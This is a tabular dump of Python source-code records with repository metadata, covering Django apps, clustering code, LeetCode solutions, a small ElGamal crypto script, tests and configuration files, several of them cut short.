blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 91 | license_type stringclasses 2
values | repo_name stringlengths 3 135 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 68 | visit_date timestamp[ns]date 2015-07-25 20:53:29 2023-09-06 10:46:05 | revision_date timestamp[ns]date 1970-01-01 00:00:00 2037-05-03 13:00:00 | committer_date timestamp[ns]date 1970-01-01 00:00:00 2036-02-09 17:40:36 | github_id int64 1.61k 691M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 24
values | gha_event_created_at timestamp[ns]date 2012-06-03 10:21:33 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-09-13 22:40:33 ⌀ | gha_language stringclasses 250
values | src_encoding stringclasses 27
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 6 10M | extension stringclasses 289
values | filename stringlengths 1 218 | content stringlengths 6 10M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9bce4788039b63331b2211223034e6b15e9c11c4 | b890e0122a0f203ab81283f3b84ff21e9092b44e | /Django/Survey2/apps/survey_app/views.py | 7a5ebeb6ca31d730bb7bced890e6cc87d832733d | [] | no_license | billbaber88/Python | 45ddca4f50c4505230081a75da6d7efcf1860bb1 | 913cc03c7a722a5328604406f8fc169f2c1c7745 | refs/heads/master | 2021-05-03T12:56:49.336116 | 2018-02-06T18:30:21 | 2018-02-06T18:30:21 | 116,419,950 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 707 | py | views.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.shortcuts import render, HttpResponse, redirect
def index(request):
response ="working"
return render(request, 'survey_app/index.html')
def process(request):
try:
request.session['count']
except KeyError:
requ... |
632af5d12373fcefe011e354f798273d2581215f | a624e71df838d09f9fdadd64d2ff1635547713bb | /ItchBotMain/googleTrends.py | d9f876b21db6f40c29461b6a239fbdcf12a16160 | [] | no_license | asafpor/ItchBot | b828ea3279645283f09a4e7a8a9acb1311758542 | 6ca3e3221664286a64d2105460ec2c51adba70b6 | refs/heads/master | 2021-09-07T03:24:03.672690 | 2018-02-16T14:50:26 | 2018-02-16T14:50:26 | 111,992,170 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 324 | py | googleTrends.py |
from BittrexBot import BittrexBot
import time
if __name__ == '__main__':
print("hello world")
print ("hello world2")
bittrexBot = BittrexBot()
markets = (bittrexBot.getmarkets())
print (str(len(markets)))
print (markets)
for market in markets:
print (market["MarketCurrencyLon... |
94669c575ffe743b95d0f4663fd3bccd55874907 | cbed61b89f8fd54bd4149e02ffd9266ae7f25856 | /code/exkmedians/kmedians.py | 4bba72f2f9ad18d8ccc2dbb89fbe87a5993f044c | [] | no_license | lirenshan/ExKmeans | da51689ff0e1e641586d9b640c977f3e4d1ab2e3 | 003c8104b296510f595913efd872d0c5210307ac | refs/heads/main | 2023-06-21T19:07:54.184646 | 2021-07-01T13:44:14 | 2021-07-01T13:44:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,352 | py | kmedians.py | # Copyright Mathieu Blondel December 2011
# License: BSD 3 clause
import numpy as np
import pylab as pl
from sklearn.base import BaseEstimator
from sklearn.utils import check_random_state
from sklearn.cluster import MiniBatchKMeans
from sklearn.cluster import KMeans as KMeansGood
from sklearn.metrics.pairwise import ... |
cfc424382c03f6ceb287b208de15607d432c9382 | 444a9480bce2035565332d4d4654244c0b5cd47b | /research/nlp/senta/src/utils/params.py | 1d087e794b5e7b38be1076dfdbabaced639415e4 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-proprietary-license"
] | permissive | mindspore-ai/models | 7ede9c6454e77e995e674628204e1c6e76bd7b27 | eab643f51336dbf7d711f02d27e6516e5affee59 | refs/heads/master | 2023-07-20T01:49:34.614616 | 2023-07-17T11:43:18 | 2023-07-17T11:43:18 | 417,393,380 | 301 | 92 | Apache-2.0 | 2023-05-17T11:22:28 | 2021-10-15T06:38:37 | Python | UTF-8 | Python | false | false | 1,342 | py | params.py | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
98a2a02d8b219622431da13f7efb4919cdd42b4b | a6fd21bce2d79a159f3a572ea41ad60a2c6eae41 | /flask_admin_bundle/views/__init__.py | aa4ad77f7008d16976f7c44ab557c9c7808db89d | [
"MIT"
] | permissive | briancappello/flask-admin-bundle | e5fbf59b71b8409f1a53db783139ee78279b459c | e5a38e884cbafc8b6f829c5500dadd7c5d551e6a | refs/heads/master | 2020-03-09T08:33:49.373602 | 2018-07-21T02:03:22 | 2018-07-21T02:03:22 | 128,692,222 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | __init__.py | from .admin_security_controller import AdminSecurityController
from .dashboard import AdminDashboardView
|
7a68c64c2e14f6ddfa1761cec520a72186ab4106 | bd51288413bfe336045c085e99cdc86b0aa81d62 | /cheesecake/models.py | 0fdd9d4aca4695ebd58b1c1aeb93641d586f3dfc | [] | no_license | nightted/mysite | 8cbb7d78c98f240284d9f05bcfa828f6dc47ab1a | 623a03238c390179564edc292726051e5c001570 | refs/heads/master | 2020-05-21T14:59:18.082261 | 2016-10-03T16:55:03 | 2016-10-03T16:55:03 | 64,746,302 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,862 | py | models.py | # -*- coding: UTF-8 -*-
from __future__ import unicode_literals
from django.db import models
# Create your models here.
class Cake(models.Model):
CakeName = models.CharField(max_length=100)
Price = models.CharField(max_length=10,default="")
CakeContent = models.TextField(blank=True)
photo = models.UR... |
84f8ce24de5df84c7609efc577b3c9069e26df8c | 56b36ddf920b5f43e922cb84e8f420f1ad91a889 | /Leetcode/Leetcode- Keys and Rooms.py | 16c09887c04c1883a594afd3049c7d451c1ddac6 | [] | no_license | chithien0909/Competitive-Programming | 9ede2072e85d696ccf143118b17638bef9fdc07c | 1262024a99b34547a3556c54427b86b243594e3c | refs/heads/master | 2022-07-23T16:47:16.566430 | 2020-05-12T08:44:30 | 2020-05-12T08:44:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 471 | py | Leetcode- Keys and Rooms.py | class Solution:
def canVisitAllRooms(self, rooms) -> bool:
openRoom = [False]*len(rooms)
q = [0]
openRoom[0] = True
while len(q) > 0:
temp = q.pop()
for key in rooms[temp]:
if not openRoom[key]:
q.append(key)
... |
5688c9f0691d1abadc53e4188ba806565c0bdeb3 | e803579781798700cc70b58fcb372853ab6315d1 | /tests/test_transform_class.py | 47bd01e8a19df7b6138e1917a16c28f922bcc0cf | [
"BSD-3-Clause"
] | permissive | nlharris/kg-covid-19 | 15be9a1b8d7f42befcd91eb61d7c3430779f6548 | 752477228110527b559a2a0b68cd6b0697bde98c | refs/heads/master | 2022-12-17T03:02:03.116563 | 2020-09-17T17:44:09 | 2020-09-17T17:44:09 | 296,414,637 | 1 | 0 | BSD-3-Clause | 2020-09-17T18:48:32 | 2020-09-17T18:48:31 | null | UTF-8 | Python | false | false | 3,387 | py | test_transform_class.py | import os
from unittest import TestCase
from parameterized import parameterized
from kg_covid_19.transform import DATA_SOURCES
from kg_covid_19.transform_utils.transform import Transform
from kg_covid_19.transform_utils.drug_central.drug_central import DrugCentralTransform
from kg_covid_19.transform_utils.intact.intac... |
9f756f254301053be7823d211763c54a52650395 | 9d88422193d1d31cbc92fd9fab2779b4e51b7660 | /setup.py | 0d68b41af7ceb54404f2c2a38281106353e4678f | [
"MIT"
] | permissive | Riffstation/Flask-Philo-PynamoDB | 09c9b61d840a97df9e0fdfc55954bac466988c50 | 00139a4857891ece89f599854b94c4078e111883 | refs/heads/master | 2020-04-15T06:16:06.276017 | 2019-01-16T14:20:44 | 2019-01-16T14:20:44 | 164,454,401 | 0 | 0 | MIT | 2019-01-16T14:20:45 | 2019-01-07T15:43:56 | Python | UTF-8 | Python | false | false | 890 | py | setup.py | from setuptools import setup
long_description = """
Flask-Philo extension that provides Integration with PynamoDB
"""
setup(
name='Flask-Philo-PynamoDB',
version='0.1.0',
description='Flask-Philo plugin that provides support for PynamoDB',
long_description=long_description,
packages=[
'f... |
b70065407c338fc46f534e63d4cec975b41cdb6c | f6dfd2373ba1d23ea71a7fd8447e16d797d34138 | /learning/fast&slow_poionters/83.py | c4e16b3d696c6f29459f8767447e3807b6824806 | [] | no_license | hwngenius/leetcode | 284e65dc1727446a95a1c18edd6ef994692430ba | 52f7974f986bfb3802defd214dea5b0f9b280193 | refs/heads/master | 2023-02-12T02:23:38.003197 | 2021-01-07T13:55:42 | 2021-01-07T13:55:42 | 266,340,286 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 653 | py | 83.py | class ListNode:
def __init__(self, x):
self.val = x
self.next = None
class Solution:
def deleteDuplicates(self, head: ListNode) -> ListNode:
h = l = ListNode(0)
l.next = head
l = l.next
while head:
while head and head.val == l.val:
he... |
a1bfba361863bd59a2b0906aa163009429c0a6c7 | a5a99f646e371b45974a6fb6ccc06b0a674818f2 | /DQMOffline/JetMET/python/jetMETDQMOfflineSourceMC_cff.py | 55ce17152a2e52430c9332584d703e1de35b0d3f | [
"Apache-2.0"
] | permissive | cms-sw/cmssw | 4ecd2c1105d59c66d385551230542c6615b9ab58 | 19c178740257eb48367778593da55dcad08b7a4f | refs/heads/master | 2023-08-23T21:57:42.491143 | 2023-08-22T20:22:40 | 2023-08-22T20:22:40 | 10,969,551 | 1,006 | 3,696 | Apache-2.0 | 2023-09-14T19:14:28 | 2013-06-26T14:09:07 | C++ | UTF-8 | Python | false | false | 5,182 | py | jetMETDQMOfflineSourceMC_cff.py | import FWCore.ParameterSet.Config as cms
from DQMOffline.JetMET.metDQMConfig_cff import *
from DQMOffline.JetMET.jetAnalyzer_cff import *
from DQMOffline.JetMET.SUSYDQMAnalyzer_cfi import *
from DQMOffline.JetMET.goodOfflinePrimaryVerticesDQM_cfi import *
from RecoJets.JetProducers.PileupJetID_cfi import *
fro... |
2a2cc9372451a18209d0cb6b0acf49c46b47050d | 3a29b76dca792f5d5d21a66c02d497fb8c7670dd | /TestReceiverDriver.py | 6c622178563f6678136f221919c021dfb6302640 | [] | no_license | Rkakani123/BEProject | 3cb797ea089ce1b409a86a48e59e1cdda73810ec | 973a5572acab07ff43c8dcf2f7c73f3bf602fe2c | refs/heads/master | 2023-03-14T19:56:02.819978 | 2021-03-18T09:27:32 | 2021-03-18T09:27:32 | 332,973,428 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,180 | py | TestReceiverDriver.py | import AES
import Convert
from ECDSA import *
from ImageDecryption import *
#Input for Steg File
input_file = input("Enter File To Be Decoded : ")
#Unpacking Data Hidden in Steg File
msg = imageDecrypt(input_file)
msg = Convert.StringToDict(msg)
#Input For Decryption
#msg = eval(input("Enter The Text to be Decrypted ... |
7272254b0a8ba58bdf157d9d81e08b3ec70903b1 | 94c7440e7f1d2fdbe4a1e26b9c75a94e49c14eb4 | /leetcode/455.py | 6452d16dcd7c020c15e2fe231a5200eddcf9f470 | [
"Apache-2.0"
] | permissive | windniw/just-for-fun | 7ddea4f75cf3466a400b46efe36e57f6f7847c48 | 44e1ff60f8cfaf47e4d88988ee67808f0ecfe828 | refs/heads/master | 2022-08-18T09:29:57.944846 | 2022-07-25T16:04:47 | 2022-07-25T16:04:47 | 204,949,602 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 600 | py | 455.py | """
link: https://leetcode-cn.com/problems/assign-cookies
problem: 给数组 g, s,两两匹配使得 g[i] <= s[j],问最多能匹配多少对
solution: 贪心。排序后归并。
"""
class Solution:
def findContentChildren(self, g: List[int], s: List[int]) -> int:
if not g or not s:
return 0
i, j, n, m, res = 0, 0, len(g), len(s), 0
... |
b5f89596038ceee8859b12f14d19f807bfd1c3e2 | 5d6b9d9a7e095a41c57040cb6db3e74304f51424 | /main.py | aa5e2a0f6fce43abaf2630fe7f88b081f7e4cf3d | [
"MIT"
] | permissive | abelkartwii/party4u | 690d22eb6f6b05bc22075007a733e52c3cb51423 | e87be91fbf59dc992704628effd9a398e998c2ac | refs/heads/main | 2023-06-05T03:26:01.629378 | 2021-06-22T09:37:15 | 2021-06-22T09:37:15 | 341,174,003 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 146 | py | main.py | import spotipy
import pandas
import psycopg2
import sys
from spotipy import Spotify
from database import Database
def main():
db = Database() |
417ae6fad06a7770a6bd3722a4c846ef490a7dc5 | c471e0ef3974e213c80b6c321267cb6096683a00 | /ElGamal/ElGamal_Complete.py | f3a6eeca27773a4eb0e492c7fe7f764d7d4097e4 | [
"MIT"
] | permissive | preetha2711/CipherChecks | ecb32dde6bd5f1e36f7c4bd838bc678861819d46 | 802bd0b185f87ec945417296d4c8f825d9500f1f | refs/heads/master | 2020-04-26T00:10:21.491749 | 2019-07-04T07:58:27 | 2019-07-04T07:58:27 | 173,168,961 | 0 | 0 | null | 2019-03-10T19:19:56 | 2019-02-28T18:48:26 | Python | UTF-8 | Python | false | false | 2,115 | py | ElGamal_Complete.py | import random
import math
import sys
sys.setrecursionlimit(100000)
def miller_rabin(number): #checks whether number is prime or not
B = False
num_1 = number - 1
k = 0
while(num_1 % 2 == 1 ):
num_1 = num_1/2
k += 1
m = num_1//(2**k)
a = random.randint(0,num_1)
b = pow(a,m,nu... |
a14e1188bdfc65d5b6c7835a865851cf2b468dce | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/srt.py | fe6f0681dbf56a25b61e42d88d931b804baf7678 | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 82 | py | srt.py | ii = [('ShawHDE.py', 1), ('AubePRP.py', 1), ('FerrSDO2.py', 1), ('ClarGE3.py', 1)] |
69a56ffe8597925c637be95652e7c7b2e4c8cacb | 7e57a48e36d8a37ec31d78f483455105b9b950d2 | /cleanresults.py | 00274cc08e049a801eae5ad3ec488522ba19a8d8 | [] | no_license | HelgeStenstrom/validVassResults | 65873b4eb690d77a22f8cd5cbec8f2d62d7f0b75 | ad47117722def60de0bf89af87c2d9892b0f6b62 | refs/heads/master | 2021-01-01T04:50:40.094920 | 2016-05-26T19:09:52 | 2016-05-26T19:09:52 | 59,588,142 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,927 | py | cleanresults.py | # -*- coding:utf-8 -*-
import re
def foo():
return "bar"
def validateTolName(name):
if re.match("\d_152_82-LPA_109_332_1-\d{1,3}", name):
return True
return False
def validateTimeStampName(ts):
try:
(year, month, day, hour, minute, sec) = re.match("(\d\d\d\d)(\d\d)(\d\d)_(\d\d)(\d... |
c2de88f61552544dad7491967647d04a59f2a9d9 | 18dfbb1809f012c1f359b186788ad76c67cfa633 | /calculator/admin.py | b5840a976a182b7078500637df95cdfa77d681cc | [
"MIT"
] | permissive | BuildForSDGCohort2/Team-209-group-a-NutriCalc-Backend | dd0027d4b4cd147edd0eb3952059f84ec684d808 | 67d124296a750844741ddb436c4bb00d04fc23c8 | refs/heads/develop | 2022-12-23T19:42:33.843734 | 2020-10-07T23:16:05 | 2020-10-07T23:16:05 | 293,249,993 | 0 | 3 | MIT | 2020-09-06T11:54:25 | 2020-09-06T10:10:40 | null | UTF-8 | Python | false | false | 419 | py | admin.py | from django.contrib import admin
from .models import Fertilizer, SoilAssessment, FertilizerAvailable, Farmer, Farm, FarmInput, Plant, Area
# Register your models here.
admin.site.register(Fertilizer)
admin.site.register(FertilizerAvailable)
admin.site.register(SoilAssessment)
admin.site.register(Plant)
admin.site.re... |
2059866664141867543bfd2a9c1a5f3eb4312223 | 591ed38eb747c8bd996df791c97c7cf840c0d545 | /01-basic/03-交换变量的三种算法.py | 4968f519db437483b0272825181d6a47afaa407d | [] | no_license | Cicades/Python | 38af28a32bc1255f3e3b3dfcd5e5c6c77c808f4d | d4c7e7241b8a26ee5ff559f43343c6733ab60cf8 | refs/heads/master | 2022-12-22T19:26:34.779994 | 2019-08-12T06:00:51 | 2019-08-12T06:00:51 | 156,993,231 | 1 | 0 | null | 2022-12-08T05:20:33 | 2018-11-10T15:20:02 | HTML | UTF-8 | Python | false | false | 629 | py | 03-交换变量的三种算法.py | # 交换变量的三种算法
g_num1 = 2
g_num2 = 4
def swap1(a, b):
"""使用临时变量"""
c = a
a = b
b = c
return a, b
def swap2(a, b):
"""不使用临时变量"""
a = a + b
b = a - b
a = a - b
return a, b
def swap3(a, b):
"""python特有方式,利用元组进行交换
:param a:
:param b:
:return:
"""
a, b = b, ... |
50348062aa079462d88a9a05eabe60cbb62098bd | 56ee4adea28a4c3774668ab9123322df63e73e49 | /src/main.py | b1b46567d04adcc7ea1451c1c92a73261182d623 | [
"MIT"
] | permissive | andaviaco/tronido | c86a052404c428de7e2b76fff714747bdc899dde | 08a1619a0e8c10f35ed6710eb6e1f72dc5b87421 | refs/heads/master | 2021-08-25T09:47:03.937924 | 2021-08-23T04:33:37 | 2021-08-23T04:33:37 | 80,275,760 | 1 | 0 | null | 2017-05-28T05:42:55 | 2017-01-28T09:17:13 | Python | UTF-8 | Python | false | false | 1,617 | py | main.py | import os
import argparse
import warnings
from lexer import Lexer
from syntax import Syntax
from syntax.tree import Node
if __name__ == '__main__':
parser = argparse.ArgumentParser()
group = parser.add_mutually_exclusive_group(required=True)
script_dir = os.path.dirname(__file__)
group.add_argument('... |
9aa54f1259aceb052cfba74cedcfadfe68778ebd | e4fc080ac2862067cd10584db0aa9c9ba0f22292 | /sel_tester.py | db218cbe7f990929115a4c9ad289f8fc3a3e4735 | [] | no_license | radames/WonderingWandering | 689734d6b5e4a2e47e2ca61efba0a68153831889 | d538074f4982abc10134f4ef37448753be034359 | refs/heads/master | 2020-06-15T13:55:16.295637 | 2016-12-01T13:12:47 | 2016-12-01T13:12:47 | 75,287,393 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 90 | py | sel_tester.py | from IPython import embed
from selenium import webdriver
b = webdriver.Firefox()
embed()
|
0bfb089556bfa253bf139f03cd3079ced962d858 | ece175de05efa1e8d8f6b6229df62a821117af52 | /sbpy/data/tests/test_phys_remote.py | 69267babb2b85fa0bde91cba6bae5b60556ea6d4 | [
"BSD-3-Clause"
] | permissive | mwcraig/sbpy | f8c948c1095b9fb68e1f446b22e809eea6f0328c | d6165f9bbb5e046450370f86c1c43fa76e3420b3 | refs/heads/master | 2022-11-28T03:38:01.525571 | 2020-06-17T23:51:35 | 2020-06-17T23:51:35 | 281,970,411 | 0 | 0 | NOASSERTION | 2020-07-23T14:14:16 | 2020-07-23T14:14:15 | null | UTF-8 | Python | false | false | 417 | py | test_phys_remote.py | # Licensed under a 3-clause BSD style license - see LICENSE.rst
import pytest
from sbpy.data import Phys
from sbpy import bib
@pytest.mark.remote_data
def test_from_sbdb():
""" test from_horizons method"""
# query one object
data = Phys.from_sbdb('Ceres')
assert len(data.table) == 1
# query se... |
368151a134f987ed78c8048521137672530b5cce | 5f377df89d290b1132dd08fec1cc79d1f4d9eb39 | /HandsSVG/detectKeystroke.py | f86902bd057f6a875d259a57fd440c0e4cf25f1b | [] | no_license | witpaulchen/hand-gesture-recognition | 317fcf815f7b506f4a9546c3d87652fd272465a6 | 73ae0552a0174a9b36c5074e2d82c3b60f948287 | refs/heads/master | 2021-01-17T10:59:10.053210 | 2012-06-11T04:33:22 | 2012-06-11T04:33:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 400 | py | detectKeystroke.py | # KeyLogger.py
# show a character key when pressed without using Enter key
# hide the Tkinter GUI window, only console shows
import Tkinter as tk
def key(event):
if event.keysym == 'Escape':
root.destroy()
print event.char, event.keysym
root = tk.Tk()
print "Press a key (Escape key to exit):"
root.bi... |
70aba6c94b7050113adf7ae48bd4e13aa9a34587 | 33cd42cbf3bac03b08ba36022b4b6761d0eed683 | /sorts/gnomesort.py | bf3eddb551486344fd2c95d21609cf420e37b138 | [] | no_license | vrthra/xmutant.py | 7373cc8560320cd78c7311af6314cc6fb495650b | 0174ab05b6b82525fe672c26c6f1862d64026954 | refs/heads/master | 2021-01-13T01:54:50.511983 | 2018-11-18T17:23:59 | 2018-11-18T17:23:59 | 33,084,802 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 406 | py | gnomesort.py | import typ
@typ.typ(items=[int])
def gnome_sort(items):
"""
>>> gnome_sort([])
[]
>>> gnome_sort([1])
[1]
>>> gnome_sort([2,1])
[1, 2]
>>> gnome_sort([1,2])
[1, 2]
>>> gnome_sort([1,2,2])
[1, 2, 2]
"""
i = 0
n = len(items)
while i < n:
if i and items[i] < items[i-1]:
items[i], i... |
1ead23c6ea4e66b24e60598ae20606e24fa41482 | fcd8113f48fe1f18ae1dd512e2621211460d8b38 | /docs/source/conf.py | 5f80244bce9fd5da77797d7d0250a0209a888b10 | [
"MIT"
] | permissive | glentner/python201 | aa7f0b32b2ff0068c6616c684efc004782f56d49 | ccf506296bb6ac2a3bbe5c8b1cb64909837660d6 | refs/heads/master | 2023-02-21T23:54:46.105845 | 2021-12-04T01:35:12 | 2021-12-04T01:35:12 | 142,155,690 | 7 | 4 | MIT | 2023-02-11T00:27:38 | 2018-07-24T12:31:14 | Python | UTF-8 | Python | false | false | 3,242 | py | conf.py | # SPDX-FileCopyrightText: 2019-2021 Python201 Contributors
# SPDX-License-Identifier: MIT
#
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/master/config
# -- Path ... |
8fee548466abf6d35ea180f8de4e52a9b8902d3f | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_136/1255.py | ae26727ada56342b4580d391f201e217e982622d | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,072 | py | 1255.py | import os
import math
from collections import defaultdict
__author__ = 'steven'
question='qb'
fs={'t1','small.in','large'}
def getmincost(n,c,f,x):
t=0.0
for i in range(0,n):
t+=1/(2+f*i)
t=t*c
t+=x/(2+f*n)
ct=getmincostnshift(n,c,f,x)
return min(t,ct);
def getmincostnshift(n,c,f,x):
... |
f2e6d23e6d8c5aa6e80a652dc6cb8bda45824d0c | 97174cc5081403d3a367eb517a6f924c6ed7c3ec | /bcipy/tasks/start_task.py | 65fe2a44a8df901e2dde52dc88fa3600b6f539a7 | [
"MIT"
] | permissive | celikbasak/BciPy | 9c8facc37e4700f6a0b589ad25c97e82843bc801 | 6f3aaa8cefaa198f66567f9de829c7eda5dbf686 | refs/heads/master | 2022-12-31T10:45:02.399510 | 2019-12-04T18:26:34 | 2019-12-04T18:26:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,408 | py | start_task.py | """Code for constructing and executing Tasks"""
from bcipy.tasks.rsvp.calibration.alert_tone_calibration import RSVPAlertToneCalibrationTask
from bcipy.tasks.rsvp.calibration.inter_sequence_feedback_calibration import (
RSVPInterSequenceFeedbackCalibration
)
from bcipy.tasks.rsvp.calibration.calibration import RSVP... |
e59e60b0a4b7deca9c510bd6b9c58636c6d34c80 | f8e3081cd5aaf29b28165450145de9d8db97c137 | /chethan1.py | d8d9bcf2d5dc3d369c40514d5dd948ef32b47342 | [] | no_license | Chethanmanu/python-lab-programs | f2093ae31eb77678d96be1019c0a02781cf70c2d | f818369c75356c35651e6c7f3833f4964bc8355f | refs/heads/master | 2021-10-11T09:04:39.579223 | 2021-10-01T03:38:59 | 2021-10-01T03:38:59 | 172,654,993 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 273 | py | chethan1.py |
l={1,2,3,4}
try:
print(l)
s=len(l)
if s>5:
raise TypeError
print(d[2])
except TypeError:
print("Error!!!length should be less than or equals to 5")
except NameError:
print("index out of range")
else:
for i in l:
print(i)
finally:
print("execution done!!!!!!") |
c0503536672aa824eaf0d19b9d4b5431ef910432 | e084b47f002cb521ee6c43804eea4205e7f3afad | /script/batchCut.py | 65e0e81f1e81eea0edc9ca185cf00295f8519ee6 | [] | no_license | johnnygreco/hs_hsc | c4f97f34a3c4966e2862353f25c98c2bb0a63404 | a87e36f396db8569aed4929ffae0f5c2cabef639 | refs/heads/master | 2021-01-19T06:10:04.467276 | 2017-04-10T20:26:39 | 2017-04-10T20:26:39 | 62,734,053 | 0 | 0 | null | 2016-07-06T15:54:07 | 2016-07-06T15:54:07 | null | UTF-8 | Python | false | false | 3,702 | py | batchCut.py | #!/usr/bin/env python
# encoding: utf-8
import os
import argparse
import coaddBatchCutout as cbc
def run(args):
min = -0.0
max = 0.5
Q = 10
if os.path.isfile(args.incat):
cbc.coaddBatchCutFull(args.root, args.incat,
filter=args.filter,
... |
2e140d1174e0b2d8a97df880b1bffdf84dc0d236 | 7803ae35defccc180332cb5e9c16df57253f0e26 | /init.py | 10ba730a2e34ec75b4586232d85f480b0020ef18 | [
"Apache-2.0"
] | permissive | jpradass/AmazonSpider | e9a63638a0cd237d78ed64cb24520701903b50d5 | 0fff04128699585833189b90b806beff3fc3a629 | refs/heads/main | 2023-02-06T23:47:39.944918 | 2020-12-24T22:14:56 | 2020-12-24T22:14:56 | 309,461,350 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,057 | py | init.py | from helper.logger_helper import Log
from helper.mail_helper import MailHelper
import spider.spider as spider
from configuration.configuration_handler import Configuration
from configuration.products_handler import ProductsHandler
if __name__ == "__main__":
logger = Log()
conf = Configuration('configuration/co... |
8da0abb0d4e9bb1ecd18f268ced010009caec38e | 7232c39c7e8998d2b9f308b8862e3032d855160a | /expensius/login/models.py | 0a0637a3d9648fa45de23b22dbe4092a7c9b8342 | [] | no_license | safister/expensius | c9fee50df53a88d215077f2e22ff8ecaae418962 | a6e2795684ec6997eb06a2281b3f31da105bfaa6 | refs/heads/master | 2022-06-08T14:07:56.860946 | 2020-05-06T18:05:32 | 2020-05-06T18:05:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,061 | py | models.py | from django.db import models
from django.contrib.auth.models import User
from uuid import uuid4
class Profile(models.Model):
user = models.OneToOneField(User,on_delete=models.CASCADE)
profileID = models.UUIDField(primary_key=True, default=uuid4, editable=False)
noAccount = models.IntegerField(default=0)
... |
3f685bd5bebac1d646c69f52bd047a7be71398b1 | a5b8521e12b08153484ee775304790fd33cb4f7f | /test_case/test_black_user/test_high_admin_add_black.py | 33e3a11f5de03611b93b8c010f588deb5f887917 | [] | no_license | Xishanqingxue/test-dawang-api | 96d70d3249a5c28fcded9772612c80f9ca0efae4 | f3063abba151d1343a7bd2d5fa284281638e828e | refs/heads/master | 2020-03-12T13:26:45.458684 | 2018-04-23T09:23:36 | 2018-04-23T09:23:36 | 130,642,240 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,796 | py | test_high_admin_add_black.py | # -*- coding:utf-8 -*-
from test_case.test_black_user.action import BlackUserAction
from utilities.redis_helper import Redis,RedisHold
from api.super_visor_api import DelSuperVisorApi
from utilities.mysql_helper import MysqlOperation
import settings
class TestHighAdminAddBlackApi(BlackUserAction):
"""
高管添加黑名单... |
69fec73a22b181a91f7e87dde7495ed6555a3807 | 7739d7be719e385e420642fdd9aadf9da67a61d4 | /modules/pgpkg/tests/conftest.py | 4caeb074040452d8d39721bfe91596ea3dfd27cf | [
"MIT"
] | permissive | snirandjan/CISI | eea441de64482b802b2b8d9761710db00a36f661 | a59f3456b85dddc65228088fe39c6433151f419e | refs/heads/main | 2023-04-19T02:01:46.723775 | 2022-05-09T15:17:27 | 2022-05-09T15:17:27 | 327,351,993 | 12 | 5 | null | null | null | null | UTF-8 | Python | false | false | 4,169 | py | conftest.py | from geopandas import GeoDataFrame
import numpy as np
from numpy import random
from pandas import DataFrame
import pygeos as pg
from pytest import fixture
from shapely.geometry import Point, LineString, Polygon
def generate_lon_lat(size):
"""Generate arrays of longitude, latitude.
Parameters
----------
... |
cbfdf58340f98b92e08977c995ff0060f7bfd0ca | f4e82f24b6a9f2069a859f25bc05eaf82b563e4f | /scripts/chordprosongbook/latexgenerator.py | da0d487610a1178a82005580d1ea2c9eae2643b5 | [
"MIT"
] | permissive | suiluj/chordpro-song-book | 61498036375aa2a69466bb72cff8af71dc495b96 | ff7e73f7c9152c4aea50186c6d976dab45c1dffb | refs/heads/main | 2023-06-09T17:48:31.682567 | 2021-06-27T15:36:20 | 2021-06-27T15:36:20 | 352,053,787 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,979 | py | latexgenerator.py | # pylint: disable=anomalous-backslash-in-string
"""
Generate LaTeX from ninja templates
"""
import os
import jinja2
import fnmatch
import re
from pylatexenc.latexencode import unicode_to_latex
try:
import cPickle as pickle #noqa
except:
import pickle
# include pdf toc ref: https://tex.stackexchange.com/a/15995... |
